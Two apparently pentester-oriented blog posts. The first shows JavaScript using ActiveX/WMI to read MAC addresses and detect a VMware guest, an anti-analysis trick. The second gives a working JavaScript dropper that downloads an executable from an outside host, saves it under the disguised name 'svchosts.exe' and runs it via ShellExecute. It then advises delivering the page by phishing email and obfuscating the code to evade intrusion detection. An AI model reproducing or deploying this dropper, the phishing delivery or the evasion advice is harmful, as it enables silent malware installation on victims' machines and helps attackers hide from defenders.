Detecting VMware with JavaScript (or how to waste your time with pointless exercises)

So a thread on ethicalhacker.net discussed some JavaScript tricks that web exploit kits are using to screw with analysts looking at the malicious sites and js. Today most analysts will use a debugger or interpreter like Rhino or Malzilla. Well, the site authors are starting to add code to either cause the script to exit when run in one of the interpreters or to do more malicious stuff like delete files and such. [original article]

One of the questions asked was if it was possible, or currently being implemented by malware authors, to use JavaScript to detect if the browser was inside a virtual machine. Before I continue let me say that this is completely pointless from a malware perspective. Detecting the presence of a vm using client side JavaScript is just silly. Not hard to bypass. Just comment it out and move on. Now if this could be done server side then perhaps it might have value. Still pointless though.

Anyway I wondered if you could do it using JavaScript and so wasted way too much time on getting it to work. I guess you could do this in Java but regardless of how you do it the user will need to interact with your script to run it. If there is a way to bypass that requirement then let me know.

There are various methods out there for detecting vm's but for this example I figured I'd keep it simple and use the MAC address as an indicator. VMware has their own OUI for the MAC addresses that are dynamically generated when you install VMware Workstation. The OUI is different for VMware Player but I focused on Workstation. I figured that an ActiveX object would be the easiest way to go to determine the MAC and if it matched the OUI then to alert.

After fooling around a bit I came up with this:

</script language="javascript">
 function vmDetect(){ 
     var o = new ActiveXObject("WbemScripting.SWbemLocator");
     var s = o.ConnectServer(strServer = ".");
     var a = s.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration");
     var e = new Enumerator(a);
     var mac = [];
     var regex = /(00:50:56).*/; //OUI of VMware's dynamically generated MAC address.

     for (;!e.atEnd();e.moveNext()){ //Loop over Adapter properties.
         var x = e.item();
         if(x.MACAddress){
             mac[mac.length] = x.MACAddress; 
         }
     }
     for (var i=0; i<mac.length; i++) {
         if (mac[i].match(regex)) {
             alert("ohnes! you're in a virtual machine");
             exit();
         }
     }
 }
</script>

Basically the script uses the ConnectServer method of the SWbemLocator object to get the SWbemServices ExecQuery method to return an object. In this case we are querying the Win32_NetworkAdapterConfiguration WMI class to return the properities of the network adapters on the system. Once we have these values we, quite unnecessarily, add the MACAddress values to an array and then iterate through the array alerting on the first string that matches the regular expression we created.

You don't really need the array. You could remove the array and just do:

if (x.MACAddress.match(regex)) {
 alert("ohnes! you're in a virtual machine");
 exit();
}

So yes, you can use JavaScript, or in my case bad JavaScript, to determine, at a basic level, if you're in a vm. But like I said. It's kinda pointless. :)

/dean

Owning the Client without an Exploit

So after a long hiatus of no posts I figured it was time to step up and post something that may be of interest to pentesters. In the spirit of continuity to some previous posts about client-side attacks and as a follow up to some discussions that Chris and I have been having, this post will be about Client-side Ownage.

It's nothing groundbreaking but may have a place in your arsenal of tools and attack vectors. What do you do when all those cool client-side attacks in Metasploit fail? Damn those companies that patch 3rd party products. As shown in the previous posts it's still possible to gather a great deal of information about the remote user, host and network using PHP and some Java but what do you do when you need a foothold on that host to pivot further into the network?

Enter the Dropper. Using JavaScript and Microsoft's XMLHTTPRequest Object it is possible to download and run your backdoor with just a little interaction from the victim. The XMLHTTPRequest Object, a core component of AJAX, provides support for client-side communication with a HTTP server. A user can make use of the XMLHTTP Object to send a request and have the XML DOM parse that request. Great if you have data such as XML that you need to parse and display on a page for example.

What about requesting another file type like, oh I don't know, an exe? This might have some value. :) Lets take a look at a JavaScript function to do just that.

First we need to create our object elements and the required attributes needed to download and execute the file we want:

function dropper() {

var x = document.createElement('object');
x.setAttribute('id','x');
x.setAttribute('classid','clsid:D96C556-65A3-11D0-983A-00C04FC29E36');

try {
var obj = x.CreateObject('msxml2.XMLHTTP','');
var app = x.CreateObject('Shell.Application','');
var str = x.CreateObject('ADODB.stream','');

We use document.createElement to create an element and use it in conjunction with setAttribute to modify the attributes of each new element. The classid in use is a Remote Data Service object. It allows the execution of code from a remote source. Search your registry and you'll see that it is assigned to RDS.DataSpace, a non-visual ActiveX control, which handles remote data connections. This function is part of Microsoft's MDAC.

We create our msxml2.XMLHTTP object which will handle communication with the web server that is hosting our executable.

Then we use the Object element to instantiate a Shell Object which is identified by the CLASSID.

The ADODB.Stream object in ActiveX, which contains methods to manage a stream of binary data or text, is used to handle the storing and saving of the data to a file.

Now let's grab the file, install it to a directory of our choice and run it.

try {
str.type = 1;
obj.open('GET','http://coolsite.com//innocent.exe',false);
obj.send();
str.open();
str.Write(obj.responseBody);
var path = './/..//svchosts.exe';
str.SaveToFile(path,2);
str.Close();
}
catch(e) {}

First we use the Type property to set the type of data in the stream object. 1 is for Binary.

Next we use the XMLHTTPRequest Open Method intialize an MSXML2.XMLHTTP request in which we specify the retrieval method, URL and authentication information if any. The XMLHTTPRequest Send Method allows us to send the HTTP request to the server.

The ADODB.stream Open Method is used to create and open a Stream opject. The ADODB.stream Write Method is used to write the binary data to a binary Stream object. After specifying the path we now use the ADODB.stream SaveToFile method is used to save contents of our open Stream object to a local file of our choosing. In this case we use am option value of 2 that overwrites the file if it already exists. We then close the object.

The next step is to use our Shell Object to execute our newly downloaded executable using the shellexecute function.

try {
app.shellexecute(path);
}
catch(e) {}
}
catch(e) {}
}

Place this code in a webpage either directly or through an include, create a good phishing email (see other posts) and send it off to your victims. Before anyone makes mention that this requires ActiveX to run remember that enough users will allow ActiveX controls to be run for it to be useful. On I.E. 6 this should perform a silent download and on I.E. 7 it will prompt the user.

You can add additional code to the page to check the browser version and prompt the user to either change to IE or have a direct link to the file for the user to click and run. Remember it just takes one user that follows the link to give you access.

One other thing to consider is IDS/IPS evasion. The code above will likely get flagged by an IDS in the form it is now. Look at JavaScript obfuscation techniques such as 'string-splitting', arguments.callee() and other methods to evade the IDS or just hide your code.

Variants of this method we have just discussed are actually widely used by malware authors on their sites to drop files onto users systems. Have a look at the next spam email you get and decode the JavaScript on the page.

Cheers,